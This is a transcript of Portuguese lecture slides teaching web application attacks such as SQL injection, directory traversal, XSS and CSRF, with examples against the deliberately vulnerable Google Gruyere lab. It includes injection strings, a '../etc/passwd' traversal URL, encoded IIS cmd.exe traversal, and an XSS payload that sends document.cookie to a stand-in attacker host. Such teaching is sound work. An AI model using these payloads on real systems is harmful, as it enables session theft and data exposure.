segurança em aplicações web
TRANSCRIPT
![Page 1: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/1.jpg)
Ataques à Aplicações Web - Uma visão prática -
Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/
@cnacorrea
![Page 2: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/2.jpg)
Objetivo
• Conhecer, descrever e realizar baseados na Web: roubo de sessões, XSS, XSRF, XSSI.
• Também são apresentados ataques na camada de aplicação: SQL Injection, directory traversal, injeção de comandos, overflows.
![Page 3: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/3.jpg)
Vulnerabilidades da web
Fonte: Projeto OWASP
![Page 4: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/4.jpg)
Information leakage?
• Consultas no Google!
– Podem equivaler a um “nmap da web”
dom:<domínio> ext:<extensão> <string>
![Page 5: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/5.jpg)
SQL Injection
• Em sua forma mais básica, um ataque em que um formulário (ou outra forma de entrada) é preenchido com informações que interferem no fluxo de execução de consultas de um banco de dados
• Frequentemente aplicado em etapas de login. Também é comum que um desenvolvedor, equivocadamente, proteja apenas esta seção de um sistema web contra injeções – quando o correto é que se assegure todo o código.
![Page 6: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/6.jpg)
Exemplo básico
• Isto:
SELECT * FROM Bugs
WHERE bug_id = $_GET['bugid'];
• Pode resultar nesta instrução!
SELECT * FROM Bugs
WHERE bug_id = 1234 OR TRUE;
![Page 7: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/7.jpg)
Um caso pior!
UPDATE Accounts
SET password = SHA2('$password')
WHERE account_id = $account_id;
• Vira...
UPDATE Accounts
SET password = SHA2('xyzzy', admin='1')
WHERE account_id = 1234 OR TRUE
![Page 9: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/9.jpg)
Directory traversal
• Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado
• Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada
• Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor
![Page 10: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/10.jpg)
Exemplo básico (PHP/Linux)
• Suponha um script que suporte isto:
• http://www.xxx.com/members/seepic.cgi?arq=001.jpg
<?
...
/* le imagem a ser exibida */
arqimg = fopen(“/amadoras/”.$_GET['arq'], “r”);
imagem = fread($handle, filesize($arqimg));
print $imagem;
fclose($arqimg);
?>
![Page 11: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/11.jpg)
Imagine agora este acesso...
http://www.xxx.com/members/seepic.cgi?arq=../../../../../../../../../../etc/passwd
![Page 12: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/12.jpg)
Directory traversal no Windows
• O caractere utilizado como separador de caminhos no Windows é “\”, o que de algum modo particulariza os ataques a esta plataforma
• Não obstante, cada vez mais APIs Windows têm suportado o caractere “/” em diretórios
• Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo “servidos” estiverem localizados
![Page 13: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/13.jpg)
Variantes do ataque (1)
Para evitar detecção por sistemas sensíveis a
parâmetros que possuam caracteres como “/”, alguns ataques usam caminhos codificados
Uma possibilidade é utilizar parâmetros com
codificação de URL:
seepic.cgi?arq=%2e%2e%2f... → (../)
seepic.cgi?arq=%2e%2e%5c... → (..\)
![Page 14: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/14.jpg)
Variantes do ataque (2)
No passado, caracteres da plataforma Windows
também podiam ser especificados por seu código Unicode
Esta é uma codificação universal de 16 bits para
representar símbolos em qualquer linguagem http://address.of.iis5.system/scripts/..%c0%af../winnt/system32
/cmd.exe?/c+dir+c:\
(%c0%af == '/')
(%c1%9c == '\')
![Page 15: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/15.jpg)
XSS – Cross Site Scripting
“Através de um XSS, o Cracker injeta codigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários.”
-- Wikipédia
![Page 16: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/16.jpg)
XSRF (ou CSRF)
• Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas
• Pode ser utilizado como parte de um ataque de XSS (cross-site scripting)
• Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima
![Page 17: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/17.jpg)
Google Gruyere
• http://google-gruyere.appspot.com/
• Aplicação propositalmente desenvolvida com bugs
• Um “testbed” para experiências em segurança
![Page 18: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/18.jpg)
Google Gruyere
![Page 19: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/19.jpg)
Ataques orientados ao Gruyere
• Básicos
– Cadastrar um item com nome: zezi<a href="lalala">nho</a>
– Ou com o nome: <b>Isto é um teste.</b><a
href="http://www.malvado.com/">link</a>
– Ou ainda: <P class=dev>Point your mouse <A
onmouseover="alert('This is an alert
box!')" href="">here</A></P>
![Page 20: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/20.jpg)
Ataques orientados ao Gruyere
• Internet Explorer 9 (Ago/2011) <a href="http://google-
gruyere.appspot.com/751162075406/snippets.gtl?uid=
<script>alert('SEGURA PEAO')</script>">Este é o
super novo queijo</a>
<a href="http://google-
gruyere.appspot.com/751162075406/snippets.gtl?uid=
<script>window.open('http://www.google.com.br/')</
script>">Este é o super novo queijo</a>
![Page 21: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/21.jpg)
Ataques orientados ao Gruyere
• Começando a ficar sem-graça... <a href="http://google-
gruyere.appspot.com/751162075406/snippets.gtl?uid=
<script>alert(document.cookie)</script>">Este é o
super novo queijo</a>
![Page 22: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/22.jpg)
Ataques orientados ao Gruyere
• Fazendo algo desagradável... <a href="http://google-
gruyere.appspot.com/751162075406/snippets.
gtl?uid=<script>window.open("http://www.pe
godadosdoseubanco.com.br/salva.php?cook="
+ document.cookie)</script>">Este é o
super novo queijo</a>
• Vejamos um exemplo de script para salvar dados...
![Page 23: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/23.jpg)
Ataques orientados ao Gruyere
• Indo além do pedagógico! http://google-gruyere.appspot.com/751162075406/snippets.gtl?uid=%3Ciframe%20src=%22http://www.google.com.br%22%20width=%22100%%22%20height=%22100%%22%3E%3Cp%3EEntrar%20em%20contato%20com%20o%20seu%20banco.%3C/p%3E%3C/iframe%3E
![Page 24: Segurança em Aplicações Web](https://reader033.vdocuments.site/reader033/viewer/2022051413/5562d850d8b42a49398b51f7/html5/thumbnails/24.jpg)
Obrigado!!
Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/
@cnacorrea